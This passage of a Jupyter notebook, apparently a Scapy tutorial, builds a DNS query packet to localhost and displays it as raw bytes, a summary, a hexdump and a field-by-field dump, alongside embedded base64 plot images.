MjPDtggEmulS2pq8Pqdd4Jt1F9+OZjrsWQJPPggHH54ED769g3qaXWLiIjI3jmggkis8LFl\nS7C65aOPgp6P118Pdjjdvh169AjqnnZacLgcaHWLiIhIearyQaRo+Dj/fJg+HSZOhN/8Jvh+yCFw\n1lmweTM89FBQt3FjrW4RERHZ16rUZNVY26inpQV7eHzySbBdep060LlzsN/H8uVwxhmwfj2ce26w\nFDcS0TbqIiIi+0ul7xEpbq5HUhJ8+CH8+9/BRNNjjoEFC+Duu4NJp4X7esDPq1yiJ50qfIiIiOx7\nlTaIFN3VdPHi4HC47t1h8OBgQmmbNruf4fLyy8Hnta+HiIhI4sUdRMysGvAtsMTdrzCzd4Azge3A\nFOBOd88P6/YFLgE2Abe4e3pY3g14FHDgSXcfHJa3BwYCNYAR7n5/SW1xDyaXzp0LgwbB888Hk0u3\nbYNWrWDjRujaFVq2hOOO2/0MF9DSWhERkYqgLHNE7gNmR71+x91PdPdTgcOA2wHM7BKgtbsfB9wJ\nvBaW1wUeA84CzgaSzaxOeK9+wO3ufjxwvJl1Lqkh998frG557bWgl6NbN3j44eD7ggXBpmKDBsU/\n16OiBJC06MktVUxVfjbQ81V2Vf35RCqyuIKImTUFugBvFJa5+6ioKlOApuH1lcDgsM5koI6ZNQA6\nA2PcfZ275wJjgIvNrCFQy92nhJ8fDFxVXFtSUqBWreDk2quvDiaYXnst9Oy5a+goVBEDR3Gq8v8M\nq/KzgZ6vsqvqzydSkcU7NPMC8BBQp+gbZnYwcDNwT1jUBFgSVSU7LCtavjSqPDtG/ZgKh1cOPrj4\nCaaVKXyIiIgcyErtETGzS4GccJ6HhV/RXgXGu/ukwo8UvQXBnJCi5ZRSHhfN9RAREam8zL3k3/lm\n9hTwB2AHUBOoBXzs7l3NLBk4zd2viar/GpDq7u+Hr+cBHYFOQMTd/xxdDxgf1j8pLL8B6Ojuf4nR\nlrgDioiI/MzdY/3RJ5JwpQaRXSqbdQT+Fq6auR24FbjA3bdF1ekCdHf3S83sHOBFdz8nnKw6DWhP\n0BMzDTjD3XPNbDLB0M5UYDjQt8gcFBEREamC9mYfkX5AJvBN2FPxsbv/y91HmFkXM5tPsHz3VgB3\nX2tmTxAEEAd6hpNWAe5i1+W7CiEiIiIHgDL1iIiIiIiUpwp/1oyZNTWzcWY2x8xmmdm9iW7TvmBm\n1czsOzP7LNFtKW9mVsfMPjSzuWY228zOTnSbypOZPWBm35vZTDN718wOSXSb9oaZvWlmOWY2M6qs\nrpmNMbMfzGx01B5AlUoxz/ZM+G8z3cw+MrPaiWzj3oj1fFHvPWhmBWZWLxFtEylOhQ8iBJNk/+ru\nbYBfAN3N7MQEt2lfuA+Yk+hG7CMvEQy5nQScBsxNcHvKjZk1Jpjf1D7c3O9g4IbEtmqvDSDY9yfa\nI8BYdz8BGAf02O+tKh+xnm0McLK7twMyqLzPBrGfr3AvqF8DWfu9RSKlqPBBxN1XFG4R7+4bCX6J\nFbvPSGUUa8O4qsLMagHnufsAAHff4e7rE9ys8nYQcHi4p85hwLIEt2evuPtEYG2R4iuBQeH1IErY\ndLAii/Vs7j7W3QvCl9/w8+aMlU4x/+3g572gRCqcCh9EoplZC6AdMDmxLSl3hf+TqIoTdloBq81s\nQDj01N/Maia6UeXF3ZcBfYDFBJv05br72MS2ap+o7+45EPxxAByd4PbsK7cBIxPdiPJkZpcTnBE2\nK9FtEYml0gQRMzsCGArcF/aMVAlxbBhX2R1MsGT73+7eHthM0M1fJZhZEkFvQXOgMXCEmf0+sa2S\nPWFmjwJ57v7fRLelvISh/1EgObo4Qc0RialSBJGwy3so8La7D0t0e8rZr4ArzGwh8B7QycwGJ7hN\n5Smb4K+xaeHroQTBpKr4NbDQ3deEp09/DPwywW3aF3LCM6MIz4dameD2lKvwZPAuQFULka2BFsAM\nM1tEMOz0rZnVT2irRKJUiiACvAXMcfeXEt2Q8ubu/3D3Zu7eimCS4zh375rodpWXsDt/iZkdHxZd\nSNWalLsYOMfMapiZETxfVZiMW7R37jPglvC6G1CZ/yDY5dnM7GLg78AV0ZszVmI7n8/dv3f3hu7e\nyt1bEvxhcLq7V6kgKZVbhQ8iZvYr4CbgAjObHs4zuDjR7ZIyuRd418zSCVbNPJXg9pSb8NToocB0\nYAbBL4D+CW3UXjKz/wKTgOPNbLGZ3Qo8DfzGzH4g6AV6OpFt3FPFPNvLwBHA5+H/X15NaCP3QjHP\nF624871EEkYbmomIiEjCVPgeEREREam6FEREREQkYRREREREJGEURERERCRhFEREpFIzs9+Ghw7m\nm1mJe9QUd7ikmT0ZHug328zuDsuuMLMZ4Wq9KeEKvsL6+eF9ppvZp1HlE6LKl5rZx0V+zllmtsPM\nrglfNzOzaeFnZpnZnVF1rw9//iwzK3WVkpklmdnH4We+MbM2pX1GpCI4ONENEBGJl5l1BG5x9+hl\nqbOAq4HX47hF4eGSO0/YNbNbgCbhgX6Y2VHhW2Pd/bOw7BTgA+Ck8L1N4U7Bu3D386PuOxSIDinV\nCJY9j4r6yDLgF+6eZ2aHAbPNbBiwHXiGYM+PNeERCZ3cPbWEZ/sHMN3drzGzE4B/Eyy1FqnQ1CMi\nIpXNLnsOuPsP/7+9ewmRo4yiOP4/aBKDBhMZF2oMmnHhCCEbHwgiIgoKgiORoCARDBGSjQQXujUE\nJYLiLAQlqOB6CKOJG0VFF6IIwSg+Bh9BcSEqIqgRNMlx8d2elNJOi5uy2/ODobu+qrrV9GZu11dV\nx/anjHg+xjLhkjuBPZ1639frsc42ZwEnO8ujjrUGuJ5OI0JLaZ6n81TaCoH8vRZXd+puBBZt/1DL\nrwJbqvaUpHlJ79Tf1bXNZbUdtheBiyRNaiZQTJA0IhExbv7tA7n+LlxyGrhD0ruSXpJ0ydKBpFlJ\nHwMHaYF4A6tquuYtSbcOOdYs7YzKz1Xn/Bp76q+fX9J6SUeAL4F9FSr4GXBpTd2cXvteWLvMAY/b\nvjKq1GoAAAI0SURBVAq4HXimxo8AgymfK4ENjHGScPx/ZGomIv7zJL0NrATWAOskHa5VD9h+5R/s\nvxQuKek6/twMrAKO2b5C0m20SIlrAWwvAAuSrgH2AjfWPhtsfyPpYuA1Se/bPtqpeSewv7P8RH1W\ntySAU8e3/TWwuTJ8XpA0b/s7STtp00EnaE9L3Vi73ADMVKQAtKDFM2nTPnP13XxAe9rv8VHfTUTf\n8mTViBgbdY3I3bbvGbLudeB+24eHrHsYuIv2j3k1raE5YHubpI+Am2x/Vdv+aHvtkBpfAJd3pksG\n488BB20fqOVzgEXadSe/dfaF1oBMAb8A9w6uQenUehY4NKjVGd8BTNt+UNK3wPpB7WW+q6PApklK\nK4/JlKmZiJgkQ6dtRoRLLtDCCqmzJYv1fnqpaLsbZ0VdOLpW0soan6KlLXeDHLfSmomlRqFC5wbB\nc/PALtsvSrpA0hlVax0tjXtw/HM747s4dYblZVp+0+Czba7XsyWtqPc7gDfShMQ4yNRMRIw1SbO0\n4Lop4JCk92zfLOk8YL/tW0aU2EcLZdwN/ARsr/EtkrbR7mD5ldZgQLtz5mlJJ2g/5h6x/Umn3laW\nDwXsnoaeAR6TdJLWRD1q+8NaN1dNhoGHbH9e4/cBT9Z1JacBb9IalRngeUnHaY3RdiLGQKZmIiIi\nojeZmomIiIjepBGJiIiI3qQRiYiIiN6kEYmIiIjepBGJiIiI3qQRiYiIiN6kEYmIiIjepBGJiIiI\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\n", "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "[[],\n", " []]" ] }, "execution_count": 26, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib inline\n", "ans.multiplot(lambda x, y: (y[IP].src, (y.time, y[IP].id)), plot_xy=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `raw()` constructor can be used to \"build\" the packet's bytes as they would be sent on the wire." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x11|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00)\\xb6\\xd3\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n" ] } ], "source": [ "pkt = IP() / UDP() / DNS(qd=DNSQR())\n", "print(repr(raw(pkt)))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Since some people cannot read this representation, Scapy can:\n", " - give a summary for a packet" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "IP / UDP / DNS Qry \"www.example.com\" \n" ] } ], "source": [ "print(pkt.summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - \"hexdump\" the packet's bytes" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0000 45 00 00 3D 00 01 00 00 40 11 7C AD 7F 00 00 01 E..=....@.|.....\n", "0010 7F 00 00 01 00 35 00 35 00 29 B6 D3 00 00 01 00 .....5.5.)......\n", "0020 00 01 00 00 00 00 00 00 03 77 77 77 07 65 78 61 .........www.exa\n", "0030 6D 70 6C 65 03 63 6F 6D 00 00 01 00 01 mple.com.....\n" ] } ], "source": [ "hexdump(pkt)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - dump the packet, layer by layer, with the values for each field" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "###[ IP ]###\n", " version = 4\n", " ihl = None\n", " tos = 0x0\n", " len = None\n", " id = 1\n", " flags = \n", " frag = 0\n", " ttl = 64\n", " proto = udp\n", " chksum = None\n", " src = 127.0.0.1\n", " dst = 127.0.0.1\n", " \\options \\\n", "###[ UDP ]###\n", " sport = domain\n", " dport = domain\n", " len = None\n", " chksum = None\n", "###[ DNS ]###\n", " id = 0\n", " qr = 0\n", " opcode = QUERY\n", " aa = 0\n", " tc = 0\n", " rd = 1\n", " ra = 0\n", " z = 0\n", " ad = 0\n", " cd = 0\n", " rcode = ok\n", " qdcount = 1\n", " ancount = 0\n", " nscount = 0\n", " arcount = 0\n", " \\qd \\\n", " |###[ DNS Question Record ]###\n", " | qname = 'www.example.com'\n", " | qtype = A\n", " | qclass = IN\n", " an = None\n", " ns = None\n", " ar = None\n" ] } ], "source": [ "pkt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - render a pretty and handy dissection of the packet" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAr4AAAJ7CAIAAACKwAUlAAAACXBIWXMAAA9hAAAPYQGoP6dpAAAA\nHXRFWHRTb2Z0d2FyZQBHUEwgR2hvc3RzY3JpcHQgOS4xOeMCIOUAACAASURBVHic7L1/VBt5duB7\nbbAFwhIuGtoGaYxbjD3I9ExmWgSl09A7E0sTJxOOB+Xht3tOGzrZPJFHP/ymX84ZOO095/XuWRzw\nvrPTA6e9z8xLFmhnZwKJnF4ySXtUTiY2nRkpVPd0ukVp7KbaovUDj7CrKVkl5JbM++MLZSFVlUoq\nCbBdn+PjI331/d6631KhunW/93vvrrW1NVBQUFBQUFBQkEbpdiugoKDwaNB744Y7Eslj4JtHjpi1\nWgB4/fXmPIYfPvzrL7/83wCAYqjJm5N5SJBP15Eug9YAAK83E9uiwAtdB6xn9ABwo3cy4qa2RQfT\n3OsA4Hf6b797O4/hB144oLfqAWCyd5LKawqvz72+/uL1bfoWXjhgteoBYPyX//ute/+yLTpsOy8c\n6LLqzyimg4KCglQ0AIZc+scBvJtb9lY37q2sly4hFiLuP0imtqjh0G7Yk4sWsngAn7OwmNqytxH2\n5jCDAnDvyqa38Wo1bardSgXUvhWtdzm1ZakhNwkHFza9LalWl+cyhfu+lfubFdhbDXsrc9NBJvdS\npnA/mSyB6nIwbakGO4B7sH4tKqaDgoKCVLQA5o3XPpIknM42m61Gr0ctBI775ufRa3Vl5Ynubn+m\n6VBZrz1mAwDS5SJdrvpjx0wWC/dpZuP9FV+aDuVQp4Ia6RKEiDLM9cuX2ZUVdWVlW0dHhVab+tGV\n8fEavb7NZotDON10qAetTfBY0hUQ6Uy6XNU6HXdiM02HgO2Y+HCJOkicgs4xn2Y6BI49fJ15JWRK\nyDQdtLZjvJPlPQmMYz7ddKgEehdJOJ2pjUaz2Wg2Q4FIvQxgs+kAACVQTZNGcQXQeeAkCFGkC6ko\nl+KG6bA7q0QFBQWFTC4NDkYjkeVAgGu55nBEpa1oEDjuGB01ms1zTqdjZESksXgSzp0+za6sGM1m\ndmXl3OnTUYZJn+C5c1s/BQAI+/1jAwOpJzan4dJ1kD8FRNqVkJMEoclKOQmk2+3zPjRNr0xOsnkt\nqIkjchmIK0C6XI7R0Rq9/p2JCRH5O+FvIY9LUfE6KCgo5IxjZMTY0pLZ3myxSHnsc4yOfufNN2v0\neqPZfPbkSfTAyttYPAmHGhtRB6PZ7PN6F0mS07xCq7WdOXNlUiyuokhTuO5wXHM41CkukJyGi7QX\nYwrAdyVIlyA0WYkn4UR394nubvT6Yn9/R1+flMdr6WS9DMQVIF0uY0tLm80m7nLYCX8LeVyKpQCA\n47jIxESwFPR7UlBQeCQI+/0+r/fVCxcyn2aWAwHS5QIAEQPCR5KpLlDT8eNet5uNRDIbhX7s5EsA\ngJ7hYfSCdLmWAwGkMHr8Ums04vetIk0BebbbbLbv9faKHF1kuFB7MaYAfFeCdAUAQGiyEk8CB4Hj\nbCTC3cWjDOMYHfW63dU63SJJvvbWWyJTeGtwcJEk1VotyzAvnT1bbzSC5MtASAECx8cGBtDrK5OT\nrR0dp8+e5R24E/4W8rsUSwHgpT/4g6/+1m8JnhUBfvEP/7D06ae5jlJQUHjUuXTuHPcrmcYcjtc3\nNkYjkXcmJl69cIG3D5uxNBD2+6t1usxGIQXkS0Cg56pFr7ejrw/1vzQ4iO4070xMeN3u4inAK0Fc\nWynDpYstyDnMvBJkzis/3hkft/X1cW+vjI9XaDSDb78NAO9MTIjf/g8bjSe6u2v0egLH3xkf7xke\nln4ZCClgslguzs0hc8p25ozIwJ3wt5DfV1YKAAe/8AXx6fGydPNmrkMUFBQeda47HOgF6XJFIxGf\n18s9stj6+tBDGwC8NTh43eF4RtRVu+2g56oow7zR21uj0/nm59s6OtBcTnR3Xx4d3W4FdzS8V8LW\nq+EjSdjs5bp++fJ/fvtt9FrIxuV4zmK5fvkycpWtD3c4croMMhV4EkgPk7zucHAn8brD4RgZ4f5t\ngfGooKDwSPDOxAR6ICOcTnQLCfv9ZMrzWYVGI/SLcchoTA28CgcC9ceO8TYKHV2+hLDfz935KrTa\nEy+/zO0NQWRGTW7BFESOKHG4dLHyp4BIuxJkzisPSLc7LdiCjUQqpC00RBnm3OnTFRrNS6+9xusk\nE78MhBSQzk74W8jvK0s3HeZwnDMd5nA8Gomg3SY1ev2506e5PzYFBYUnkzab7dULF9A/0/Hjtr4+\n5LNkI5Er4+OoT5RhSLdb6DmsQqttbGlBYec+klz0ek0WC2+jkA7yJSx6vddSfs3mnE60uEtcvYru\nFtxctnIKIkeUOFy6WPlT4L0SZM4rD9iVlbRV/NaOjrcGB9Frx8gIIRzMtxwIqDUaFBWInAcAIP0y\nEFJAOjvhbyG/ryzLDosKjYb7+1drtZcGB8WDRRUUFJ4QvtfbuxwIkG73i4FAm81WbzS2dXScPXmy\nWqdbDgROdHcbzWYhR6Wtr++N3l7S5WIZxj40JNIohEwJJovFNz/PaWs6fhz9sp3o7j53+rRaozlk\nNKI59l74j1s5BQLHrzkciyTpGB1VC8eLiBxLug7yp4BIuxKkSxCarPSTAADhjRDX1Hk5RkfPnjyJ\n4hx/++WXhcbWG43GlhZ0GbAMw0Yigy+99NLZs5mXgYgOmQog/dGjvM/rfdFmE7kZb/vfglBn8W9h\n19ra2ld/8zd7N5ZzvtfbW9/YiB4jUl8DQNjv/w/f/vbFuTn09kJf3y/++Z/FFVJQUHhs6L1x4xeR\nSE22bp+R5P6NiIc4wPLmRNQl6uoSdTX6NLB4R3foqbThaY2fryzW1jba/3AMNhJR74HKXRvZJAPk\nos54KF0CX6MQH7u8XzQ3inRYg88/h5XURNQl1VBSvXGsO6TuKWO6AnyNQkjpfN+7KRE1/dGn7KH1\nTIo37iwefYpnskLtEnumNaqWWdUym5qImqkGcW4skkcPPZyXdnlTIupPPvp0z6EckkEml9nkMpua\niLpEDSVqAIAYy5SrJS1PyOT+8sNE1GPz9lDMuwcOAUCMiZdrVTKFB8g7OmPG3wJf4xZLSOM+eHNO\nRP3OxERrR4f0/goKCo8TjWo1b3vw/n1/PH5YpXp6714A0G1e9zUAaEtK1l8bNn2kf3b9Fz8U8sZi\nTH39cyUlpVzjOtpna2vXb+1lJWUGzaZE2PqWZzP1yWz8/MHnn0Y/1ezR1JSlWz56i5RV6qfKSsrW\np9Ci2TRcyzOct3Hxg3sPEmtf+LV9JaW7snZOpwWq9Os3J3VjLQBgG5/otDxngLc9vnjn/tKK6nD1\n3qe14j15GrVaLgO5qkqlMWg0GUPWkmv3fPdKykvUtWoA0D27eV5aUFWtT6G2kT8FNfMrZvnWcvXh\nau3TGaZAigIAYDCkHF+bqYsgi4v3HjxYO3w4hyEpB4KqjSk8o322rHTj7pmXsDT0LTzWD29jiPXG\nkswXKr6yZ3dZfhJy0iGDliqVHrIuWBBXr6JsWcinJ+L5UVBQeLw5w7egyyQSJz/6CAAaysuHG7IU\nNujq4vH6UpRrcvIVAPjKV06YTGLroXUVdV1Hu3LQeIMZ38yn0U8/f/B5fsNT6bpwNI9RlIuZfOUm\nAHzlRJXJltVxI4b+jDWPUQkm9tHJ7wNAecPTDcOn5ChQY6qpMfFMwe/03/PdS8aS9e31KkzsKdwq\nMIXvn/w+AOwp29N1IcvX1NWVz7fg8dAUFQGApibMxDcF6Vj1Oe9JLAh03P/9j74NAF/a/29aD2bZ\nPFJUsiSiNh0/jqJgBt9+G4XAbI1aCgoKjwTjS0uRZBIArn72GZNI5CFhdnY9Te/Cgku8Z37QcZpY\nJgBgNblKhLen4uLsxBJ6seDKHrFfDGh8PhlZBYDPrs4nmFjB5SdiiWVivcYE7aHzkEA4CDpAA0DI\nG6L9+UjIfggijF4sLGzPtyCf2aX1PxYivM1bFpRE1AoKCpKIBoPJ1dW0xr23bw+WlZEsey+ZfM/j\neY7Hky3GnWXfgZLaui/9L3v2ln3yyVyY/FClqiicygAAvwgT3yz52qf3/E+XPx385QdHIlj2MRmo\nMEyFYQDgYnKuFh3yRumv3NMaH1RU7XnvXz6pXXqwV12SqxCdCtOrMAAgySjDJLP2T9fh74Pqf9fO\n/PxjVd3+Oz+Yr2w9kqsEADCbtQDgp/0BOr2owcqNlc8bPk/eT+7dt5d6jzpUJzXWhOPnnp9/4Y++\nsPj+YpW+6kd/+aPnOp7L7GOsNWrLtQDA5G6BhULsAXqXrnq/Wl3yy/dWAk/d0ezLuf6qSqdS6VUA\nEA2SydWttj8i95djn9148Qv//s7qIvP5A/evPqouy/k816rV5aWlABCMBleT6X/OUkBBP4rpoKCg\nIIkAjkeo9BvnrwMAQNvG2zzyxFUDACQBVr8MX1z8y7/OXz8BkKf0iwAAYS3ATRCrTCHEgRde0Fut\nAPDKzdyHl2ycJgBoBDwwm4cCXQdeOKO3AsDoaMDtzqPIUx28DwBfhE8A3gX4YT4J/ebmTADgmHNM\nvpvtJORzjgGWAGoBkgAR+LPJP8v8/M2uN80GMwDcfCUf/bnIzi8DLOG3lnKXcKDrgP6MHgA+/cn3\norfey0MHmXzV0FJ67Lnk2uf7Vba/+/R2Hn9wXUeOGLRaAPjJp+/cii5m7Z/J66bXQTEdFBQUpBOt\nrLxeWuq6fj218dmvfe3LX/sa9/bD99//6P33n66tPf47vyMiCnV75siR32hrk9IuUYL04eI6PH3w\n4IHa9Wi+oz//eeqnjdUmA9YEANQ/vvvJT2drv/rlYx2/y33K28hLjF55b/xHq599VrZ//3Mv/9ty\nrBIA5i//XegXH6IOZfv3v/BqDwD83WZ7pbpR3dKnAwDK/Y+fuH9aa/zqseObAtiF2tMVYOj33h5f\nXfmsrHL/cydfLtdiADB/9XKI/MW6ApX7Xzj9KgBQOO29vKnm9e92vbl+rHfdn8y6a79sPPa7xx8q\nwNfIr8MK896P3l79bKVsf+Vz//ZkeeX6mvh7P/wbetFftr/yhZ7TALAc9LrxTVkdwx3Vf7/rp5+Q\nv2jv+s4+bbon6R5D/8Pb49GVz54xfvU3RE8C139m8o2n9YePf/sPUodXVO7/rZMvI/lHU+yVBw8S\nUFkNxhYAcL1Pud7/5NiRWkvbpkxKQu2Z8PbkaSTXU65VqfR34wAAvwE3UMv7rg/fd3105NgzbZbf\nSJX8vuvDg7qna/UHAGAF1CQ8DFd68CBRCXuMoAWA912/fN/lPXLsUJvla5uHb2oPQmwRWPRReqzD\nqxcucLsxU18rKCgoJPfsIW7evOnz3S8vR/9mpqfv7N4dqalB/9wU9ReTk5VHjrz913/NNWb+++kH\nH/zF5GTD178+63JN/PCHWdslSpA+XKQzFY9//0//1BeLcS1pJ0FVUqbXGm5fIa7/pzdavtX5yd/+\nk3vwol5rEGoU+jf+jd/fw0LLtzr3sDD+jd/Hkphea/C89Te7o2uavfs1e/dXllWhnukKaEv0Zu3t\nxSvXx/9TS/e3Pnn/b92OQb1Zi/4JtWf+G+/5xp4KtqX7W3sq2PGeb2BHk3qz1vMPb+0uj2rq9mrq\n9lZ+oQz1VGnSV1j0BrPeYL5NLF5/Y7yls/uTf3rffdEh0ij0b+qPBvZARUtn9x6omPqjAQw7qjeY\n/3Hoz0K/+Bg1/uPQn+kN5uq69A20SU3J6hH1z959e37XzYhZm/qPqln+zwM2uoJt6P7WyNmXPypN\n75D5716z9n7d3j8b+g56+1rPN9BwuoJ9recbS0eTEXNGnN8eFdTo8Q9uj05eN3+9xen6ZOSHbqjR\no39C7Zn/eHvyD9+jAgA6HsBU6wm/ayBSA5EP8J9Ojv7F180NLufsD0cmUGMNROJ+6k8Hvh8L+NDb\nyo27/sMZwK4aUH2AfzQ5OvN185ddzg9+OPLjGlChf5nte1IMBsXroKCgkAPFKzQs0i5RwpbWvO7v\n/w6O1xgMRovlrMHQ1tNTYzDwNgpJOGQyoQ5Gi8VHEIsEYbRYAKD51CmjhHR+QseSroNMBeSfBBLH\nWZq2DQ8DgNFicfT3Xx8bM1osXhwfpCjUOGgy+QiihC9AxdTZee3ixcz2S3b7iz09bXY7AHQMDVUL\nfwUcFRhmGx6+cv68+JnJZHTU8eab39Hra8xm48mTZ222Nr2+RqRdogSR4Xfjfs50EJHgcFx3OK5p\ntfwbqvObAugfbpwpBYB7DJNa/EMi9yQk91ZQUHhcKWyh4S0uGC235jVBVBsM3B3R1NnpxXHWZMps\nrLHbhYT0TE+jFySOL1MUd3NapigSxwFA5P7Nq0CN3S7UXnAFCnISDplML42Npbawd++yNJ16szda\nLCSOP9v5dSE1rl286OjvX6aoNrvdNjwcpellimq0WBz9/TUNDSf6+0WmAADE9LSjv1+NYWrsoXki\ndGbSIEmfTlfN3dSPHze53V69vkaoXaKESISVOFxEB5utzWZr6+39nvj0c5pCo/7XuIGlAPA73/xm\nPPcymL/zzW/mOkRBQeGxobCFhkXaJUrY0prXdPruwfDCQubTbXhhQVzO9bGxaxcvLr73XkdKquC5\nqal6kylK0+8MDb0qUH+BVwGR9oIrIHSsnE5CBYZxd+UoTRPT09/BcTWGLRKEjyCQDsT0tKmzU2QK\nAHCWIADgexbL9bGxaoOBpelLdnu9yXRrbu7axYvoU17CFHXJbn+NIGoMhneGh71Xr3If8Z6ZNBgm\nfQnA7w+LtEuUoNOlp+pMHb6ajNSqjQsbF7D0Y0lXQKg9ddGoFABG/+t/lX4kBQUFhSez0HDBabPb\n2+z2KE2/YbHUGAymzk7b8HC9yYQ+fctuvz421ibst3gMFEAgBU4MDCB3xXdwfKyzs9pgWKaoQyaT\nuqpKZOyLPT3ci7mpqRd7etQYxlk84lO4fvFim92ODnqiv//yhtsM+M5MQWYqHzoeKC/VAmyz1z9L\nSigFBQWFTApeaFikXaKELa15bTItp+xTDVNUfXMzb6OQhDBFXd/w1Vdg2ImBAd/cXHhjpYBrF3pk\nFzqWdB1kKiB0rJxOAsJHEMhu4G7w9SbTIEW9iuODFCWyXpAGWnE4tGH3SJlCKtENJwrvmeEdYjQe\nCgQebjwJBMLHjtWLtEuUID68rESTVUKWqRZiCkUxHfr7+6mM/d8KIoyNjeHCjkEFhZ1GwQsNi7RL\nlLClNa8xrNFieWd4GABQGJ2ps5O3UUjCIkGkhvjNTU3VNDSwNH1lwz0epWkSx41W/pzNQseSroNM\nBQpyEgCAmJ6+ZLe/NDZm6uz0EQQyXM4aDGGKAoDrY2NqDKvfbA2kwc3inaGhY1ZrBYZVGwxITtYp\ntPX0ENPTyGjgJs57ZniHa7UVLS2NExPvAABJ+rzeRYvFJNIuUYL48NVkJKsEkdNVqCkUZYcFQRB0\nxjKYQir9/f3nz593Op0WiwUApqamTCaTpciF7RUUCkUxCg2LtEuUsKU1r4eH37BYSKeTpWn7RlQd\nbyMvps5O39zcWYMBueVNnZ3ombvNbucaTwwMiDxwCx1Log7yFZB/EnwEMXbq1KHnnnP09wMAUsNo\nsRwymcY6OwFAjWHiEtQYxtL0oMnE0jQ3BdvwMLfe0dbTIzKFGoPhxMDAOZNJjWHIXfE9i+VVHOc9\nM7z09dl6e99wuUiGYYeG7FnbJUqQPlyoM44TDsc1klwcHXVMTKgvXHi1sFPYtba2Jq6WQsGhadpi\nsbz33nuc6WCxWEwm0/Dw8HarpqAgyI3JyQDD3Hz+eQCIMoz8ijY+kqw38tSbFmqX2FP6cImdTTMz\nXDbJZuL1Xzvwglm//iCLovnSZfI1CkHieOa9LU3CGPE6l02yt/dGAOBbG1W4hI4lXQcpCrhG/B9M\n3kbZJEecI5PvTtpfnxPqnKsCvIQpSo1hFRu7HvyU6+8mX+GySRLNxFLXgcAZMb+XTAUg48yYmgku\nm+T8n/9hjL0Dz39rvSfpMxp5lgmE2iX2TG/82Y/L9z0VsHzVqj/j9PvfvX27HQhxCamEQfNzOMpl\nk/zz+TE2tvz8Ro5NKVOYB2YB7vFkkyQIwmAwYBvfFo7jJpMJvUWOBO4tjuMWi4VblUAvUj9NG2gw\nGAwbkbdoLGp/Mp+z+/v7e3p6ejaiexQUHhW0y8ummZlCSTMBwMcfS2+X2FP68Fw7Iz64/e4Ht999\n+J7gOyG8jbxgcJ3gS00tLCHgjow1p+4aENpBILHWF3adv6fY8LHXN0cw8CpbsCuFh4OTtw9O3hbp\nYAKQfAaEJGBCEnbt2g3LAZhZD4kwAgDfRSTULrFnZuPn6n2pb2cgxTYymnK6jnft2r0M92cguDF8\nz8fc601K8LdvMh2mpqYAAD37UhRlt9uRTYBemEwmu92O47jBYLBarRcvXhwaGjp58uS1a9c4r/vY\n2BgAWK1W9DzNDcRxvKenx263o0+/+93vAsD09LTJZJoW9Uc9fuA4TlHU2NiYYjooPFpgTU3qjdzM\nABBJJj+KRp+X4XtIJOIff/yzxsavZ+1Jf/TR/ZWVyi99qaw6fd+aOKvJVX/U/0XtF/NUcQPtxmp3\n14EXch27EorTwfvvHfrlvQfxjmqTpqQsDwXM2nUFLBassTF7np80IsQtb0xLUp8/99y+Z5+VVWDM\n3MC/rYb+iMaeFSstFvos5PQ4qyqqfu+rv5f56UpwhQ7Rh02HRSTosPX9twe6DkhVN4VbtyLlczFg\n16o7qksy8mNKQbuRU7L6K78b138lDwnMxz+L3b65r/65Cv2zeQyPlH9eXloJAA0Cf3erySSxvKza\nvbs5IwsqAlOtp3X6SvXX9HEeN8OtyK0AG9CpdYc1h0U02WQ6nDp1qrOzE5kOFy9e7OzshI1bHQri\na25uvnjxIurgdDopiurv77dYLLyedhzHCYIgCAIAkMfCYrEg30NDQ4Pdbu/p6WkQCD95jOnv71cW\nJhQeRWo2u3/7Fxb69Hq9SiXUPyseD16mOapvFYxiQ0SDwdvvvgsAe/bt0wuHvPEfgvaUxjH9wda8\nlUzjjD43BQDA6fD/6jeWrj34VwDQlJTlISEVm43/liDOe/af4ovPAsDt2/fHxr4kRwGzwYxWDVJJ\nxBI+2tdgFfs975/qB4C70bu2ZpseS19roFzUwsqCVdr3qxddqhDiw9fmy9k1ACjRlOQngaPGJJYs\nVYhEjLn97iQAPLjP6q35FHlw+kca1I0AYNBqDXzWw4zPBwDxBw8aBDpwmGr4V3OGfjEEAGyCtYpe\nqJt2WKBVBmQlTE9Po8diZCJYLBaLxXLx4kViI70G+vTUqVNjY2Mmk6m/vz8tNJJbyAcADMMsFgvn\nYEAGhEFCftDHjLGxMW5NBwAIglC2oig8irgYRltaKsduAACCcDQ1ZSmPBADLBAEApfv2LRNEIhbL\n6RDBaNCg2ebfmZCXfXf/fMVuVfnuvVfp+W3R4R9+hUUiybKyXYHAfZKMFlw+G2Ir6sScGX7af3X+\n6lP7ngIAx5wjs8OCa6HBXNwnSc378d0Vu3eX76avbk8U/9LsOADs2lPGhrzRIFlw+bFEglhe3lda\nCgCevHYqEGFiNbm6r3QffZ/20B6Rnuk7LHp6etCyRWp0AueKyMRkMiGfxNTUVGdnp8gOQ4qinkAf\nAy9DG+HcU1NTGIbZi59xRUFBPoQjfNcfR69/QtPPa7XOkhwyMKbx2UoouvyNuc8AQEzIg0Qi6sf+\nTXdHNBh8sJe59cs/zWnN4gHteQCkX/adoqbGplLpAcA/4sx17P7bt397Ov7SnmeW7q+U7Nr9L1em\na/fuz1WI1tygNRsAIEyE43fjOY39/M69+sNPvdVV/bOfMYc